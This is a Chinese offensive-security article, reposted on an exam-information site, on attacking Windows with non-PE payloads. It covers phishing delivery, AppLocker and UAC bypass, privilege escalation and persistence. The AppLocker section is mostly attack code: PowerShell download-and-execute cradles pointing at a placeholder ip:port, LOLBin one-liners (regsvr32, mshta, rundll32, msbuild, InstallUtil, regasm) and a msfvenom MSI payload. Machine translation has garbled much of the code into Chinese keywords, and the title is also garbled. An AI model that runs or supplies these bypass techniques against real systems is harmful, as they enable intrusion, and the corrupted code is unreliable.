首页 > 自考资讯 > 自考知识

no+power+no+shell非pe攻击中的套路是什么,反弹shell是什么

头条共创 2024-06-27

40170000c4f1ea4e2bd7~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720099610&x-signature=cq%2F2HHTsPfPErnF9JFUbRgoTGJU%3D

前言

本文站在攻击者的角度,通过对非PE文件类型、攻击方式、安全策略和权限、后门的简单介绍,以非PE作为攻击链的载体。我们希望本文能让读者对此类攻击例程有一个新的认识。

为什么是非PE

PE 在Windows 平台上以多种可执行文件格式提供。常见的包括32位PE、64位PE、NE和LE格式。类型包括exe、dll 和sys 格式。长期以来,人们已经习惯了通过双击来运行exe程序,杀毒软件也不太习惯非PE而不是PE。当然,防病毒软件也是如此。当人们感到某些事情很奇怪时,通常有两种心理因素在起作用:警惕和好奇。如果你觉得你的防病毒软件对你来说“不熟悉”,常见的做法是先“别管它”,以减少“误报”,尤其是当前流行的PowerShell。

非PE类型

40190000b4e6e8c3336d~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720099610&x-signature=tzmIGZPe3OTkr1gDLm45CKs%2F%2B4o%3D

本文讨论的非PE类型仅限于Windows平台,因此这里不对apk、ELF等进行分类,但用C#语言编写的.Net程序被分类为非PE脚本。它分为类型和文档类型,当然还可以进一步划分。

脚本类型

主要的非PE类型包括Bat、Vbs、JScript类型及其内置脚本,当然还有Python、Lua、Java和PHP。不过,这些都是基于各自的运行环境。

文件类型

文档类型包括Word、Excel、PPT、RTF等常见办公文档,以及PDF、HTA(很少考虑)类型。这些文件可以嵌入“可执行”脚本,因此这里不存在TXT 问题。

其他类型

inf、lnk 文件以及Autoit、CAD 或swf 文件等软件定义的一些脚本被归类为其他类型,因为与以前的文件相比,它们本质上是不明确的。对于更极端的情况,它还包括mp3、mp4 和png。攻击向量的选择通常从以下几点考虑:

1.环境依赖性

2. 灵敏度

3. 音量

4、制造成本

从环境依赖性的角度来看,系统自带的脚本通常在机密性方面依赖性较小,敏感文档类别较少,并且生产成本较低,并且脚本类型在体积方面较小。通常很小,但是这些系统外脚本是针对开发人员的吗?

如何攻击

现在已经选择了攻击有效负载,是时候传送有效负载了。当然,还有其他方法。

"水坑"攻击

水坑攻击是非常成功的攻击技术,通常针对特定群体、组织、行业或地区。攻击者观察、推断和收集目标网络行为随时间变化的趋势,查找目标经常访问的网站,并危害一个或多个网站并安装恶意软件。一旦被目标访问,就会触发攻击程序。造成个人或群体感染。此类攻击更常见的特征是:

1、跨度大

2.通常使用零日漏洞

3. 目标通常是大企业、政府、学校、科研机构和其他团体。

"鱼叉"攻击

Harpoon 攻击通常使用电子邮件等电子通信方法进行,并针对特定个人、组织或企业。攻击者首先收集目标的个人信息、电子邮件地址、近期私人(或公开)活动等,然后冒充公司、组织、活动组织者或政府机构发布虚假内容、恶意文件等,或发送恶意链接。一旦目标执行上述操作,就会诱骗目标点击或登录自己的账户和密码,目标的个人信息将再次暴露,攻击者将利用该安全恶意程序控制目标的计算机。他们甚至可能会继续这样做。此类攻击通常具有以下特征:

1.高度可定制且准确

2. 攻击通常针对个人。

3. 文档类更有针对性地成为攻击媒介

以上是常见的攻击方式。当然,您还可以使用端口攻击作为更残酷的技术。您还可以在几个月或一两年的时间内使用类似的社会工程技术。

攻击技巧

假设这里的攻击负载成功投递到目标,是否生效还受到系统策略、权限等因素的影响。本文列出了更常见的安全策略和权限相关问题。介绍。

策略绕过

应用储物柜

40190000b4e5bee0de08~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720099610&x-signature=hDdGsEPJao8GWujLyzg9pYEXrHk%3D

applocker是一个新的系统管理工具,用于取代软件限制策略。部署在所有Windows 2008 Server R2 及更高版本的系统上,允许用户创建可执行文件(.exe、com)、脚本(.vbs、js、ps1、cmd 和.bat)等可执行文件,帮助您控制您的应用程序和文件。 Windows Installer(.msi、msp)、动态链接库(.dll、ocx)等基本特征为:

· 文件属性作为基于数字签名导出的规则定义(: 文件名、路径、版本等)

· 将规则分配给单个用户和组

· 规则可以定义例外

· 进出口支持

通过上面的介绍,我们将分别讨论以下两种情况:

脚本执行已禁用,但cmd 和PowerShell 执行未禁用

利用这种情况的方法有很多,但常见的基本上有:

1.直接使用cmd和powershell命令

#cmd

powershell -exec 绕过IEX(New-Object Net.WebClient).DownloadString('http://')

#有效负载

IEX(新对象Net.WebClient).DownloadString('http://')

2. 直通管

#cmd

cmd.exe /K 负载.bat

电源外壳

获取内容x.ps1 |

3.通过regsvr32、rundll32、mshta

regsvr32 /u /n /s /i:payload.sct scrobj.dll

regsvr32 /u /n /s /i:http://ip:port/payload.sct scobj.dll

rundll32.exe javascript:'\.\mshtml,RunHTMLApplication ';document.write();new%20ActiveXObject('WScript.Shell').Run('powershell -nop -exec 绕过-c IEX (新对象Net.WebClient ) ).DownloadString('http://ip: 端口/');')

mshta.exe 'javascript:new%20ActiveXObject('WScript.Shell').Run('powershell%20-nop%20-exec%20bypass%20-c%20IEX%20(New-Object%20Net.WebClient).DownloadString(' http://ip:port/');');window.close()' 禁用脚本执行并禁用PowerShell 执行

在这种情况下直接运行powershell 显然是行不通的。

40160000db8398d0763f~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720099610&x-signature=mF2nQYKGImtz6xG22FXvRePjmhY%3D

由于Powershell基于.Net框架,并且Powershell.exe本质上是System.Management.Automation.dll的封装,因此您可以通过以下方式解决该限制: “漏洞” 默认情况下,程序文件和Windows 路径被设置为例外。找到可写且可执行的路径来编写有效负载脚本。如果您只想对powershell.exe 使用路径限制而不是哈希限制,可以将其复制到另一个路径并使用。 2.使用C#。下面是调用PowerShell的C#模板代码。将payload替换为实际的可执行代码,最后编译成exe运行。

使用系统;

使用系统.管理.自动化。

命名空间Powershell

{

课程计划

{

静态无效主(字符串[]参数)

{

PowerShell ps=PowerShell.Create();

ps.AddCommand('调用表达式');

ps.AddArgument('有效负载');

ps.Invoke();

}

}

}

3. 使用InstallUtil.exe InstallUtil 是一个签名的Windows 组件安装程序。使用的模板是:

//InstallUtil.cs

使用系统;

使用系统.管理.自动化。

命名空间白名单

{

课程计划

{

静态无效主(字符串[]参数)

{

}

}

}

[System.ComponentModel.RunInstaller(true)]

公共类示例: System.Configuration.Install.Installer

{

//方法可以被卸载/安装。安装是事务性的,并不是真正需要的。

公共覆盖无效卸载(System.Collections.IDictionary SavedState)

{

PowerShell ps=PowerShell.Create();

ps.AddCommand('调用表达式');

ps.AddArgument('有效负载');

ps.Invoke();

}

}

#编译

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs

#/U 运行卸载例程

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U InstallUtil.exe

4. 使用Regasm 或Regsvcs。 Regasm 和Regsvcs 都是.Net Framework 程序集注册工具。使用的模板是:

#Regasm.cs

使用系统;

使用System.EnterpriseServices。

使用System.Runtime.InteropServices。

使用系统.管理.自动化。

命名空间regsvcser

{

公共类绕过: ServicedComponent

{

public Bypass() { Console.WriteLine('我是一个基本的COM 对象') }

[ComUnregisterFunction] //注册失败时执行

公共静态无效UnRegisterClass(字符串键)

{

PowerShell ps=PowerShell.Create();

ps.AddCommand('调用表达式');

ps.AddArgument('有效负载');

ps.Invoke();

}

}

}

通过csc.exe将其编译成dll组件,并通过将/U参数传递给regasm(或regasm)来运行卸载例程。步骤如下:

创建强名称密钥- key.snk

$key='BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3S T lzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8 s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmay3 px 0 BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLlicweJ9uT7OG3g/P+JpXGN0/+hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzweEUfL5+o8OhujBHD m/36 1mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+ qZU +TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHP NiHfVjNi53Yg4='

$Content=[System.Convert]:FromBase64String($key)

设置内容key.snk -Value $Content -编码字节

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Regasm.dll /keyfile:key.snk Regasm.cs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Regasm.dll

[或者]

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe Regasm.dll

//如果没有权限则执行UnRegisterClass

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U Regasm.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Regasm.dll

//这会调用UnregisterClass方法

5. msxsl.exemsxsl 是一个经过签名的命令行程序,用于在Windows 上处理JScript 代码。点击这里下载。其命令行用法如下

msxsl.exe demo.xml exec.xsl

这是demo.xml 和exec.xsl 演示:

#demo.xml

微软

#exec.xsl

xmlns:xsl='http://www.w3.org/1999/XSL/Transform'

xmlns:msxsl='urn:schemas-microsoft-com:xslt'

xmlns:user='http://mycompany.com/mynamespace'

函数xml(节点列表) {

var r=new ActiveXObject('WScript.Shell').Run('cmd /c calc.exe');

返回nodelist.nextNode().xml。

}

6.使用msbuild.exemsbuild作为Windows生成引擎。这是默认系统自带的。以下代码的作用是创建一个PowerShell命令行。

任务名称='片段示例'

TaskFactory='代码任务工厂'

AssemblyFile='C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll'

Console.WriteLine('来自片段的你好');

]]

任务名称='类示例'

TaskFactory='代码任务工厂'

AssemblyFile='C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll'

使用系统;

使用系统.IO。

使用系统诊断。

使用系统反射。

使用System.Runtime.InteropServices。

//为PowerShell调用添加

使用System.Collections.ObjectModel。

使用系统.管理.自动化。

使用系统.管理.自动化.运行空间。

使用系统.文本。

使用Microsoft.Build.Framework。

使用Microsoft.Build.Utilities。

公共类ClassExample : 任务、ITask

{

公共覆盖布尔执行(){

而(真){

Console.Write('PS');

字符串x=Console.ReadLine();

尝试

{

Console.WriteLine(RunPSCommand(x));

}

捕获(例外e)

{

Console.WriteLine(e.Message);

}

}

返回真。

}

//基于贾里德·阿特金森和贾斯汀·华纳的作品

公共静态字符串RunPSCommand(字符串cmd)

{

//初始化的东西

运行空间runspace=RunspaceFactory.CreateRunspace();

运行空间.Open();

RunspaceInvoke scriptInvoker=new RunspaceInvoke(runspace);

管道Pipeline=runspace.CreatePipeline();

//添加命令

Pipeline.Commands.AddScript(cmd);

//准备并调用PS进行字符串输出

Pipeline.Commands.Add('Out-String');

集合结果=Pipeline.Invoke();

运行空间.关闭();

//将记录转换为字符串

StringBuilder stringBuilder=new StringBuilder();

foreach(结果中的PSObject obj)

{

stringBuilder.Append(obj);

}

返回stringBuilder.ToString().Trim();

}

公共静态无效RunPSFile(字符串脚本)

{

PowerShell ps=PowerShell.Create();

ps.AddScript(脚本).Invok

e(); } } ]]> 7.使用msiexec.exe通过msf生产一个payload.msi,利用msiexec执行。 msfvenom -f msi -p windows/exec CMD=calc.exe > payload.msi #执行 msiexec /quiet /i payload.msi

UAC

自Windows Vista开始,微软引入了完整性级别概念,用于防止”权限滥用“,权限由高到低分为 · 系统级(system) · 管理员(High) · 用户(Medium) · 受限(Low) 其设计模型来自于Biba完整性模型基础上的上不可写,下不可读原则来保护数据完整性。在Windows Vista之前的系统,默认创建的管理员账户即对应完整管理员(High)级别,这个级别基本没有限制,导致可以任意添加计划任务,写关键路径,读写关键注册表、创建服务、加载驱动等等,从Windows Vista开始创建的管理员账户均在用户(Medium)级别,当UAC(默认)开启的情况下,这个级别会有很多限制,仅当程序请求管理员权限,或是触发条件则弹窗询问用户授权。 40170000b50fd7aa8f2e~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720099610&x-signature=j4%2BY37YsOZdYHmn6ffHFHPe2evI%3D 受限(Low)被应用于IE浏览器作为保护模式使用,其直接访问网页的进程会通过Host主进程代理操作系统资源,只有在Temp、Temporary、Internet Files、Cookies和Favorites目录下的几个特定低完整性目录可以进行写操作,同时启动其他进程时弹窗询问用户。 40170000b50e93992f0b~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720099610&x-signature=ADIOC1VZXnrECcvEaapJAfREBp4%3D 由于微软出于兼容性、用户体验等的考虑,为减少UAC弹窗,设定了自动提权的机制,满足以下两个条件的程序,会自动提升权限 1. 必须经过 Windows Publisher 数字签名 2. 必须位于”安全目录“中,其中”安全目录“指的是普通用户(Medium)无权修改的,包括 %SystemRoot%\System32(例如,\Windows\System32)及其大多数子目录、%SystemRoot%\Ehome,以及 %ProgramFiles% 下的少许目录(其中包括 Windows Defender 和 Windows 日记本) 满足上述条件的exe程序,在其应用程序配置清单中有如下配置,则进行提升。 level="highestAvailable" /> true 上面简单介绍了UAC和完整性级别的概念,可以知道到,对关键文件、注册表、进程等的操作在Medium级别会触发UAC弹窗,当然这样直接弹窗会引起用户注意从而降低攻击的成功率,所以需要绕过,绕过方法也是基于Windows设定的"自动提升"机制,通常的操作有”DLL劫持“,”伪造"等方式,这里推荐几个不错的开源项目,1.对抗UAC机制的UACME2.nishang攻击包中有PowerShell实现的bypassUAC工具Invoke-PsUACme3.Empire中Invoke-BypassUAC

权限

上文谈到了完整性级别,对权限有了简单了解,由于攻击目标的环境受限,可能当前的登陆账户权限较低,导致攻击载荷在执行某些操作,例如, · 写高权限路径 · 读写高权限注册表(例如:mimikataz) · 注入操作 · 创建计划任务、服务、WMI、加载驱动等 这些操作都是存在问题的,所以需要提升权限。

提权

通常这里的提权指的是low->system,medium->system,对于low到system只能有Exploit程序,这里推荐一下SecWiki,里面收集了很多历史提权漏洞。medium到system除过可使用exp,也可以通过bypassUAC到high,然后写计划任务或者添加服务的方式提权到system,还可以使用C代码形式(需high级),通过UpdateProcThreadAttribute获取父进程信息,传入CreateProcess以创建该进程的子进程,由于会继承父进程的权限,从而获取system权限的目的。

降权

由于Windows是一个多用户操作系统,不同的用户有不同的环境变量和注册表项,例如desktop, programs, appdata,tmp,temp等是不同的,部分HKCU注册表也是不相同的,由于存在界面隔离的的原因,为了获取某用户当前的屏幕截图,窗口列表等信息也是需要"切换"到该用户。这里的降权包括从system->high,high->medium两种,比较通用的方法见下。 //方式1 WTSGetActiveConsoleSessionId WTSQueryUserToken CreateProcessAsUser //方式2. UpdateProcThreadAttribute + CreateProcess

后门

上文描述了攻击载荷、攻击方式、策略绕过与权限等相关知识,这里假设攻击载体以及在目标上开始运行,为了保证能有长期、持续的对目标进行信息获取,做一个后门是有必要的,简单列举一下: 1.注册表启动项 2.服务启动项,服务劫持 3.dll劫持 4.fake lnk 5.计划任务 6.WMI 7.office自启路径 8.Exp(如CVE-2017-8464) 9.Logon Scripts 10.COM 劫持 实战中后门姿势变化万千,应该以目标使用者与环境进行选择。

最后

以上是全部内容,通过本文的阅读希望能达到如前言中的目的,文中描述不当以及有明显bug的地方欢迎大家留言指出,后续的学习阅读,可参考本文列举的参考一栏。最后,感谢阅读。

参考

[1].https://github.com/subtee [2].https://github.com/Enigma0x3 [3].https://3gstudent.github.io/ [4].https://evi1cg.me/ [5].https://github.com/SecWiki [6].http://www.freebuf.com/column/149286.html [7].https://www.zhihu.com/question/20139121 [8].http://blog.csdn.net/yockie/article/details/46446047 [9].https://msdn.microsoft.com/en-us/library/aa905330.aspx [10].http://bbs.csdn.net/topics/390248917 [11].http://blog.csdn.net/vlily/article/details/47338327 [12].https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Windows.md [13].深入解析Windows操作系统第6版(上册),潘爱民译. 版权声明:本文转载于今日头条,版权归作者所有,如果侵权,请联系本站编辑删除

猜你喜欢